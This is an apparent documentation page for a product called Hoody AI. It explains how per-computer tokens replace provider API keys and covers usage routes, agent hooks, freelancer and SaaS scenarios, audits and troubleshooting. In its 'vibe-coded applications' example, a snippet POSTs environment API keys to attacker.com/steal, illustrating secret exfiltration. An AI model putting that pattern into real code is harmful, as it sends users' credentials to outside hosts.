# Hoody AI Security reference **Page:** foundation/hoody-ai/security/reference [Download Raw Markdown](./foundation/hoody-ai/security/reference.md) --- # Hoody AI Security reference Lookup tables for [Hoody AI Security](/foundation/hoody-ai/security/). ## Usage routes The gateway attributes usage to the resolved computer and its owning account regardless of the token suffix. A computer reads its own records back over three routes at the gateway root (`https://ai.hoody.com/usage`), not under `/api/v1`, authenticated by which computer the request came from. | Method | Path | Purpose | |---|---|---| | `GET` | `/usage` | This computer's records, newest first. Takes `since_ms`, `until_ms`, `limit` (max 500) and `cursor`; a page ends at 500 rows or 2 MiB, whichever comes first | | `GET` | `/usage/summary` | Totals for a window (`since_ms`, `until_ms`), including how many records the provider did not report | | `DELETE` | `/usage?before_ms=...` | Bounded delete of this computer's own records. Rows for in-flight requests are never deleted | Any process inside the computer can read that computer's usage, privileged or not, because the identity is the computer rather than a user within it. A computer can delete its own history, so the ledger is not billing evidence ([how to use it](/foundation/hoody-ai/security/#read-a-computers-ai-usage)). Rows for Hoody's free models (Hoody Free, Hoody Decide, Hoody Voice and Hoody AI Search) name the Hoody model you called, such as `hoody-free` or `hoody-tts`, and never the model or provider behind it: `provider` reads `upstream` or is empty, and the row carries no cost. How to call those models: [Hoody AI Usage](/foundation/hoody-ai/usage/#from-computers). ## Agent hooks Beyond computer-level access control, the Hoody Kit `agent` service (`hoody-agent`) ships hooks that let you enforce policy at the prompt level ([example](/foundation/hoody-ai/security/#watch-an-ai-agent-with-hooks)). | Hook | What it does | |---|---| | `SessionStart` | Its output is injected into the system prompt for the life of the session, for example "Never execute destructive commands without asking first" | | `UserPromptSubmit` | Can append context to a prompt before it is sent, or block the prompt outright | | `PostToolUse` matching `Read` | Runs your command after a successful call to the agent's file-read tools. Failed calls and files read by shell commands or other tools do not trigger it | Hook commands are skipped when a session's approval policy is `always`. Treat prompt-level hooks as a strong default, not a hard boundary: a system prompt steers a model; it does not constrain it the way a firewall constrains a packet. Each hook is a lifecycle event, a matcher, and a shell command you supply, defined in plain JSON. There is no JavaScript to write and no proxy or URL change involved. ## Traditional API keys compared with Hoody AI | Aspect | Traditional API keys | Hoody AI | |--------|---------------------|-----------| | **Key storage** | In computers (.env files) | Never in a computer | | **Key visibility** | Visible to computer users | Never exposed | | **Key rotation** | Manual, painful | Not needed | | **Revocation** | Rotate key globally | Delete computer | | **Freelancer risk** | Can copy and reuse | Computer-restricted | | **Code generation risk** | AI can leak keys | No keys to leak | | **SaaS exposure** | Keys visible in code | Useless computer tokens | | **Privacy** | Provider sees usage | Hoody AI logs no prompt or response content | The traditional approach, in code: ```javascript // Real API key exposed in computer const ANTHROPIC_KEY = process.env.ANTHROPIC_KEY; // sk-ant-api03-... const OPENAI_KEY = process.env.OPENAI_KEY; // sk-proj-... // Anyone with computer access can copy and use these keys // They work from anywhere, not just your infrastructure // Freelancers can use them after project ends // Malware can exfiltrate them ``` ## Scenarios ### No key exposure A traditional setup keeps API keys in environment variables: ```bash # .env file ANTHROPIC_KEY=sk-ant-api03-real-key-here OPENAI_KEY=sk-proj-real-key-here ``` Risks of a key in the computer: - Readable through process-environment inspection by users with sufficient permissions, for example with `ps eww -p PID` - Logged in error messages - Visible to debugging tools - Copied to snapshots - Shared with freelancers - Accessible to AI-generated code Hoody AI puts no provider key in the computer: ```bash # No .env needed # Just use: computer-{name} ``` There is nothing to leak, rotate, or protect. Deleting the computer ends its AI access once the computer has stopped. A successful DELETE response does not guarantee an instantaneous cutoff. ### Freelancer onboarding Hiring a freelancer to build a feature, without Hoody AI: ``` 1. Give freelancer access to server 2. Give them API keys (or they see them in env vars) 3. Hope they don't copy/abuse them 4. After project: Rotate all keys (painful) 5. Risk: They already copied the keys ``` With Hoody AI: ``` 1. Create computer: "freelancer-alice" 2. Enable AI access 3. Share computer URL 4. They use: "computer-freelancer-alice" (the suffix is only a label) 5. After project: Request computer deletion 6. Risk: their auth token is useless once the computer is gone ``` ### Vibe-coded applications AI generates your entire application. Without Hoody AI: ```javascript // AI might generate code like: console.log('API Key:', process.env.OPENAI_KEY); // Leaked to logs fetch('https://attacker.com/steal', { method: 'POST', body: process.env.ANTHROPIC_KEY // Exfiltrated }); ``` With Hoody AI: ```javascript // AI generates: console.log('API Key:', process.env.AI_KEY); // Logs: "computer-dev-env" (grants nothing if copied) fetch('https://attacker.com/steal', { method: 'POST', body: process.env.AI_KEY }); // Attacker gets: "computer-dev-env" (can't use it) ``` ### SaaS frontend code Building a SaaS app with AI features. Without Hoody AI: ```javascript // Frontend code (visible to users) const response = await fetch('/api/ai', { headers: { 'Authorization': 'Bearer sk-real-api-key' // Exposed in browser } }); ``` With Hoody AI, your backend inside the computer calls Hoody AI, and the browser calls your backend as a signed-in user: ```javascript // Backend code, running inside the computer const response = await fetch('https://ai.hoody.com/api/v1/chat/completions', { method: 'POST', headers: { 'Authorization': 'Bearer computer-saas-prod', // No provider key in your code 'Content-Type': 'application/json' }, body: JSON.stringify({ model: process.env.AI_MODEL, messages }) }); // Frontend code (visible to users): calls your app with the user's own session const answer = await fetch('/api/ai', { method: 'POST', credentials: 'include', body: JSON.stringify({ prompt }) }); ``` The browser never sees a provider key. Your app's `/api/ai` endpoint still needs its own user sign-in: anyone who can call it uses your computer's AI access and its server's free limits. ### Multi-tenant SaaS Give each customer their own computer: ```bash # Customer A computer-customer-acme → AI enabled # Customer B computer-customer-techcorp → AI enabled # Free tier customer computer-customer-startup → AI disabled ``` Each customer is isolated in their own computer, and you provision or revoke access by creating or deleting one. ### Development teams Per-developer computers: ```bash # Alice's dev environment computer-dev-alice → AI enabled # Bob's dev environment computer-dev-bob → AI enabled # CI/CD pipeline computer-ci-prod → AI disabled (doesn't need it) ``` Give each developer a separate computer, and configure proxy permissions to restrict access to each computer's service URLs. Configure production permissions separately from development. ### Outsourced development Contractors get temporary computer access: ```bash # Contract period: 3 months computer-contractor-alice → AI enabled # After contract ends: # Request computer deletion DELETE computer-contractor-alice # AI access ends once the computer has stopped # No key rotation needed ``` ### Name computers descriptively Give each computer a name that records its purpose and intended access level: ```bash computer-prod-api # Production workload computer-dev-alice # Developer-specific computer-client-acme # Client-specific computer-untrusted-test # Limited permissions ``` Names are for your own readability. The gateway does not parse the suffix, so treat naming as documentation rather than an access-control or audit mechanism. ## Audit which computers have AI Audit regularly which computers have AI enabled. In the Hub, open **Computers**, select each computer and check the **Hoody AI** switch under **Features** on its **Overview** tab. From code: ```bash # Weekly audit: list computers with AI enabled (lists every computer, up to 10,000) hoody computers list -o json | jq '.computers[] | select(.ai == true) | {name, ai}' ``` ```typescript import { HoodyClient } from 'hoody-sdk'; const client = new HoodyClient({ baseURL: 'https://api.hoody.com', token: process.env.HOODY_TOKEN }); // listAll collects every page of the paginated computer list const computers = await client.api.computers.listAll(); const aiEnabled = computers.filter(c => c.ai); aiEnabled.forEach(c => console.log(c.name, c.ai)); ``` ```bash # Weekly audit # Returns one page (50 per page, 100 max with ?limit=); loop ?page= for a full audit curl "https://api.hoody.com/api/v1/computers/?page=1&limit=100" \ -H "Authorization: Bearer $HOODY_TOKEN" \ | jq '.data.computers[] | select(.ai == true) | {name, ai}' ``` Lists the first 100 computers so you can check which ones currently have AI enabled. ## Questions | Question | Answer | |---|---| | What if I want to use my own AI providers? | OpenAI, Anthropic and Google models are not in the Hoody AI catalog. To use them, or any other vendor directly instead of Hoody AI, set the vendor's own API key inside your computer and call the vendor. You then manage that key yourself, which brings back the exposure this page describes | | Can computers intercept each other's AI traffic? | No. Each computer's AI requests are isolated, so computer A cannot see computer B's prompts or responses | | Can I rate-limit per-computer? | No. There is no customer-configurable per-computer inference rate limit. The `ai` flag enables or disables inference access. Usage queries have separate per-computer limits and can return `429`; honor `Retry-After` | | How do I prevent abuse from vibe-coded apps? | Enable AI only on trusted computers; monitor usage regularly; use snapshots to roll back bad AI generations; review AI-generated code before deployment | ## If a computer is compromised | Fact | What to do | |---|---| | The Hoody AI provider key never enters your computer, so a compromised computer has no Hoody AI key to leak | [Turn its AI access off](/foundation/hoody-ai/security/#turn-ai-on-or-off-for-a-computer) or delete the computer | | Deleting a computer does not revoke your own provider keys that were already copied from it | Rotate them | ## Troubleshooting | Symptom | Cause | What to do | |---|---|---| | `401 Unauthorized` with AI enabled | The bearer is missing, or a key that does not start with `computer-` was sent as your own provider key and was refused | For Hoody AI, send `Authorization: Bearer computer-` from inside the computer; the name part does not need to be the exact computer name | | `403` with AI enabled | The call came from outside a Hoody computer, or from a computer whose AI is off | Check that the computer shows `ai: true` (example below) and call from inside it. A change to AI access can take a moment to apply | | `403`: computer identity works locally but not in production | The production code does not run inside a Hoody computer, or AI is off for that computer | Run it inside a Hoody computer with AI on: Hoody AI answers only calls from inside one | | Suspicious AI usage | | [Steps below](#suspicious-ai-usage) | Check the computer's `ai` flag: ```bash # Verify computer status curl "https://api.hoody.com/api/v1/computers/$COMPUTER_ID" \ -H "Authorization: Bearer $HOODY_TOKEN" # Ensure ai: true # Send "Authorization: Bearer computer-" from inside the computer; # the name part does not need to be the exact computer name ``` ### Suspicious AI usage 1. Disable AI for that computer immediately. 2. Review computer activity. 3. Consider deleting and recreating if compromised. ```bash # Disable AI access (the change can take a moment to apply) curl -X PATCH "https://api.hoody.com/api/v1/computers/$COMPUTER_ID" \ -H "Authorization: Bearer $HOODY_TOKEN" \ -H "Content-Type: application/json" \ -d '{"ai": false}' ```